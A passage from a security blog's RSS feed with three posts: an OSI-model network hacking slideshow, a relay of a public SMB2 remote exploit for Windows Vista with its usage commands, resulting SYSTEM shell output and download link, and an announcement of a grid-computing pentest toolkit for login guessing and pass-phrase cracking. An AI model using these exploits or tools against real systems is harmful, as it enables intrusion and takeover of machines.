				<content:encoded><![CDATA[<p>People have talked so many things about how to hack the network, but do they remember data communication modeling? do they know how large network hacking scope? or they just know arp spoofing, dns poisoning, and denial of service? To understand complete (nearly?) process network hacking, they have to undestand data communication modeling like DoD (TCP/IP) model or most commonly used OSI model.</p>
<p><center>
<div style="width:425px" id="__ss_6212847"> <strong style="display:block;margin:12px 0 4px"><a href="http://www.slideshare.net/djantoxz1/deep-knowledge-onnetworkhack" title="Deep Knowledge on Network Hacking Philosopy" target="_blank">Deep Knowledge on Network Hacking Philosopy</a></strong> <iframe src="http://www.slideshare.net/slideshow/embed_code/6212847" width="425" height="355" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
<div style="padding:5px 0 12px"> View more <a href="http://www.slideshare.net/" target="_blank">presentations</a> from <a href="http://www.slideshare.net/djantoxz1" target="_blank">Don Anto</a> </div>
</p></div>
<p></center></p>
<p>By undestanding OSI model concept, knowing all technology related to each OSI layer, and defining each vulnerability which may occurs on each layer they will know how large or how many technology should be assessed on the network or which technology may possesed vulnerability. This presentation try to tell everyone how to understand network hacking from its basic, yeah from OSI model concept. You can read it <a title="Network Hacking Philosopy" href="http://slidesha.re/gwT9Ln">here</a>!</p>
]]></content:encoded>
			<wfw:commentRss>http://ipsecs.com/web/?feed=rss2&#038;p=221</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Remote SMB Exploit for Vista SP1/SP2</title>
		<link>http://ipsecs.com/web/?p=216</link>
		<comments>http://ipsecs.com/web/?p=216#comments</comments>
		<pubDate>Fri, 20 Aug 2010 16:38:50 +0000</pubDate>
		<dc:creator>IPSECS Admin</dc:creator>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[remote exploit]]></category>
		<category><![CDATA[Vista]]></category>

		<guid isPermaLink="false">http://ipsecs.com/web/?p=216</guid>
		<description><![CDATA[It has been while story about SMB version 2 vulnerability since this post. Finally public exploit to take over control windows vista SP1 and SP2 are out! You can catch the exploit at exploit-db. Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference --------------------------------------------------------------------- Exploited by Piotr Bania // www.piotrbania.com Exploit for Vista SP2/SP1 only, should [...]]]></description>
				<content:encoded><![CDATA[<p>It has been while story about SMB version 2 vulnerability since <a href="http://ipsecs.com/web/?p=127">this post</a>. Finally public exploit to take over control windows vista SP1 and SP2 are out! You can catch the exploit at <a href="http://www.exploit-db.com/exploits/14674/">exploit-db</a>.</p>
<blockquote><pre>Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
---------------------------------------------------------------------

Exploited by Piotr Bania // www.piotrbania.com
Exploit for Vista SP2/SP1 only, should be reliable!

Tested on:
Vista sp2 (6.0.6002.18005)
Vista sp1 ultimate (6.0.6001.18000)

Kudos for:
Stephen, HDM, Laurent Gaffie(bug) and all the mates i know, peace.
Special kudos for prdelka for testing this shit and all the hosters.

Sample usage
------------

&gt; smb2_exploit.exe 192.167.0.5 45 0
&gt; telnet 192.167.0.5 28876

Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\Windows\system32&gt;whoami
whoami
nt authority\system
C:\Windows\system32&gt;

When all is done it should spawn a port TARGET_IP:28876

RELEASE UPDATE 08/2010:
----------------------
This exploit was created almost a year ago and wasnt modified from that time
whatsoever. The vulnerability itself is patched for a long time already so
i have decided to release this little exploit. You use it for your own
responsibility and im not responsible for any potential damage this thing
can cause. Finally i don't care whether it worked for you or not.

P.S the technique itself is described here:

http://blog.metasploit.com/2009/10/smb2-351-packets-from-trampoline.html

===========================================================================
Download:

http://www.exploit-db.com/sploits/smb2_exploit_release.zip</pre>
</blockquote>
<p>For your information, two days later at 19th August 2010, Kingcope released root exploit for FreeBSD 8.x and 7.x by poisoning mbufs() function. You may download Kingcope&#8217;s exploit <a href="http://www.exploit-db.com/exploits/14688/">here</a>. Now happy exploiting while waiting &#8220;SAHUR&#8221; guys!</p>
]]></content:encoded>
			<wfw:commentRss>http://ipsecs.com/web/?feed=rss2&#038;p=216</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Grid Toolkit &#8211; Grid Computing Hacker Kit</title>
		<link>http://ipsecs.com/web/?p=205</link>
		<comments>http://ipsecs.com/web/?p=205#comments</comments>
		<pubDate>Sat, 07 Aug 2010 07:12:51 +0000</pubDate>
		<dc:creator>IPSECS Admin</dc:creator>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Grid Hacking]]></category>
		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://ipsecs.com/web/?p=205</guid>
		<description><![CDATA[Just like what we promised before, this time we want to release grid toolkit which usable to perform pentest against grid computing infrastructure. It&#8217;s almost two years after we release paper related to grid computing [in]security at 2008. The paper contains of: Introduction to grid computing Grid computing scanning and enumeration Exploiting network and transport [...]]]></description>
				<content:encoded><![CDATA[<p>Just like what we promised before, this time we want to release grid toolkit which usable to perform pentest against grid computing infrastructure. It&#8217;s almost two years after we release paper related to grid computing [in]security at 2008. <a href="http://core.ipsecs.com/paper/0x02-grid-insecurity.txt">The paper</a> contains of:</p>
<ul>
<li>Introduction to grid computing</li>
<li>Grid computing scanning and enumeration</li>
<li>Exploiting network and transport layer related to grid security</li>
<li>Exploiting DNS to stop grid infrastructure trusteeship</li>
<li>Exploiting web based &#8211; grid computing portal</li>
<li>Cracking certificate authority pass phrase</li>
<li>Exploiting headnode trusteeship using XML file</li>
</ul>
<p>Some points mentioned can be exploited using existing network security tool while others are already supported by Grid Toolkit. Grid Toolkit uses python with some additional module which must be installed. The additional python module are:</p>
<ul>
<li>Module goto to support grid toolkit core program</li>
<li>Module ClientForm to support grid portal guessing</li>
<li>Module Paramiko to support certificate authority cracking</li>
</ul>
<p>Grid toolkit supports to:</p>
<ul>
<li>Scanning and enumeration grid infrastructure</li>
<li>Guessing login gridsphere &#8211; web based grid portal</li>
<li>Cracking pass phrase of certificate authority private key file</li>
<li>Exploiting headnode trusteeship using XML file</li>
</ul>
<p>More reference about how to install and use this tool will be available soon, so just keep in touch with IPSECS. Finally you can download grid toolkit on <a href="http://gridtoolkit.sourceforge.net/">gridtoolkit.sourceforge.net</a> or reading python source code on <a href="http://core.ipsecs.com/grid-toolkit/grid-toolkit/">core.ipsecs.com</a>!</p>
]]></content:encoded>
			<wfw:commentRss>http://ipsecs.com/web/?feed=rss2&#038;p=205</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
